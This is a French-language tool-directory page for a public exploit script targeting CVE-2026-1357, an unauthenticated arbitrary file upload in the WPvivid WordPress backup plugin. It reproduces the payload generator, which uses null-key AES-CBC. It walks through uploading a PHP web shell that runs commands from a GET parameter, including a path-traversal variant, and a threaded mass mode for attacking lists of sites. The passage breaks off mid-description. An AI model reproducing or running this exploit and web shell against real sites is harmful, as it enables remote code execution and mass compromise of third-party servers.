Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Téléversement arbitraire de fichiers sans authentification | Kitploit
Outils/GitHubGitHub/nxploited/cve-2026-1357
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Téléversement arbitraire de fichiers sans authentification

Voir le dépôt
19il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

🧨 CVE-2026-1357 – Outil d'exploitation WPvivid à clé nulle (CVE-2026-1357.py)

Migration, sauvegarde, staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnérabilité : Téléversement arbitraire de fichier sans authentification → Exécution de code à distance
CVE : CVE-2026-1357 – CVSS 9.8 (Critique)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Ce que fait ce script

Nxploited

CVE-2026-1357.py est un outil d'exploitation de type preuve de concept pour la vulnérabilité WPvivid. Il se concentre sur la gestion défaillante de session AES qui permet à un attaquant de :

  1. Chiffrer une charge utile avec une clé/IV AES nulle (tous les octets à zéro) dans le même format attendu par WPvivid.
  2. Intégrer dans la charge utile un contenu de fichier arbitraire (par exemple, un shell PHP) ainsi qu'un nom/chemin de fichier choisi (name).
  3. Envoyer cette charge utile au point de terminaison WPvivid via le paramètre wpvivid_action=send_to_site.
  4. (En option) vérifier si le fichier a bien été écrit et est accessible.

Le script ne tente pas de deviner ou d'abuser directement des clés privées. Il simule plutôt le flux défaillant de WPvivid dans lequel un échec de openssl_private_decrypt() conduit le chiffrement AES de phpseclib à être initialisé avec une clé nulle.


🧠 Détails techniques internes

🔐 Charge utile AES à clé nulle

Le cœur de l'exploit se trouve dans gen_wpvivid_payload() :

  • Il construit une structure JSON :

    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Il sérialise ce JSON (forme compacte, sans espaces).

  • Il chiffre le JSON en utilisant :

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Il ajoute ensuite au début :

    • 3 octets : "000" (un espace réservé statique pour le champ de longueur).
    • 16 octets en hexadécimal majuscule : longueur du chiffré encodée sous la forme "{len(cipher):016X}".
  • Le blob chiffré final est :

    "000" + <16-byte cipher length hex> + <raw AES-CBC ciphertext>
    
  • Ce blob est encodé en base64 et renvoyé comme valeur finale wpvivid_content.

Fonction :

def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Cela correspond aux attentes de déchiffrement de WPvivid dans le chemin de code vulnérable après l'échec du déchiffrement RSA.


🧰 Fonctionnalités et modes

Le script propose deux modes principaux plus une capacité de test en masse :

  1. mood1 – Générateur de charge utile

    • Génère une valeur wpvivid_content valide en utilisant l'astuce de la clé nulle.
    • Prend en charge plusieurs façons de définir le contenu du fichier.
    • Lance éventuellement le testeur de masse contre une liste de cibles.
  2. mood2 – Testeur sur cible unique

    • Utilise une charge utile générée précédemment.
    • Teste une seule cible de bout en bout :
      • Envoie la charge utile.
      • Construit l'URL de fichier résultant attendue.
      • Vérifie si le fichier est accessible.
  3. Mode masse (à partir de mood1)

    • Envoie une charge utile choisie à plusieurs cibles à partir d'un fichier de liste.
    • Utilise la concurrence et une barre de progression.
    • Suit et journalise les téléversements réussis.

🚦 Exécution du script

python3 CVE-2026-1357.py

Vous verrez une interface basée sur Rich avec une bannière et une sélection de mode :

  • mood1 – Générateur de charge utile
  • mood2 – Testeur sur cible unique

🧪 Mode : mood1 – Générateur de charge utile

Objectif

  • Créer une charge utile d'exploit (wpvivid_content) qui encode :
    • Le chemin/nom de fichier que vous voulez que WPvivid écrive.
    • Le contenu du fichier (shell, fichier de test, etc.).

Déroulement

  1. Sélection du mode

    Lorsque vous y êtes invité :

    Choose mode (mood1/mood2) [mood1]:
    

    Appuyez sur Entrée (par défaut mood1) ou saisissez mood1.

  2. Nom de fichier / chemin cible

    Il vous est demandé :

    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Exemples :

    • Pour déposer un fichier dans le répertoire de sauvegarde WPvivid :

      Nx_.php
      
    • Pour abuser d'une traversée de répertoire (si la cible l'autorise) :

      ../../public_html/Nx_.php
      

    La valeur est placée dans le champ name de la charge utile JSON.

  3. Mode de saisie du contenu

    Le script affiche trois façons de définir le contenu du fichier :

    • Mode 1 : contenu sur une seule ligne.
    • Mode 2 : contenu multiligne (se termine par EOF).
    • Mode 3 : lecture depuis un fichier local (par exemple shell.php).

    L'invite suivante s'affiche :

    Mode [1/2/3] [1]:
    
    • Mode 1 – Ligne unique

      Single line content:
      

      Exemple de saisie :

      <?php phpinfo();
      
    • Mode 2 – Multiligne

      Enter file content, line by line. Type 'EOF' on its own line when done.
      

      Vous pouvez coller ou saisir un script PHP multiligne, puis terminer par EOF sur sa propre ligne :

      <?php
      echo "Nxploited shell";
      system($_GET['cmd'] ?? 'id');
      ?>
      EOF
      
    • Mode 3 – Fichier local

      Local file path (e.g., shell.php):
      

      Le script lit l'intégralité du fichier dans file_bytes.

  4. Génération de la charge utile

    Une fois le contenu capturé, le script :

    • Construit l'objet JSON.
    • Le chiffre avec AES-CBC à clé nulle.
    • Encapsule le blob binaire.
    • L'encode en base64.

    Vous obtenez une sortie comme :

    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    Et un fichier wpvivid_payload.txt est écrit :

    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    

Optionnel : Mode masse depuis mood1

Après avoir généré la charge utile, le script demande :

Auto-send this payload to targets list (mass mode)? (y/N):

Si vous répondez y, il lance le mode masse avec la charge utile et le nom de fichier que vous venez de créer.


🌐 Mode masse – Cibles multiples

Objectif

  • Prendre une charge utile d'exploit unique et la tester contre une liste de cibles.

Déroulement

  1. Fichier de cibles

    Exemple d'invite :

    Targets list file (one URL per line):
    

    Format attendu du fichier (par exemple targets.txt) :

    https://site1.com
    site2.com
    http://site3.net
    

    Le script normalisera automatiquement les URL de base (en ajoutant le schéma si nécessaire).

  2. Nombre de threads

    Threads (concurrent sites) [5]:
    

    Contrôle le nombre de sites traités en parallèle.

  3. Logique par cible

    Pour chaque cible :

    • Normaliser l'URL → base_url.

    • Appeler :

      send_wpvivid_payload(base_url, payload)
      

      qui :

Télécharger l’outil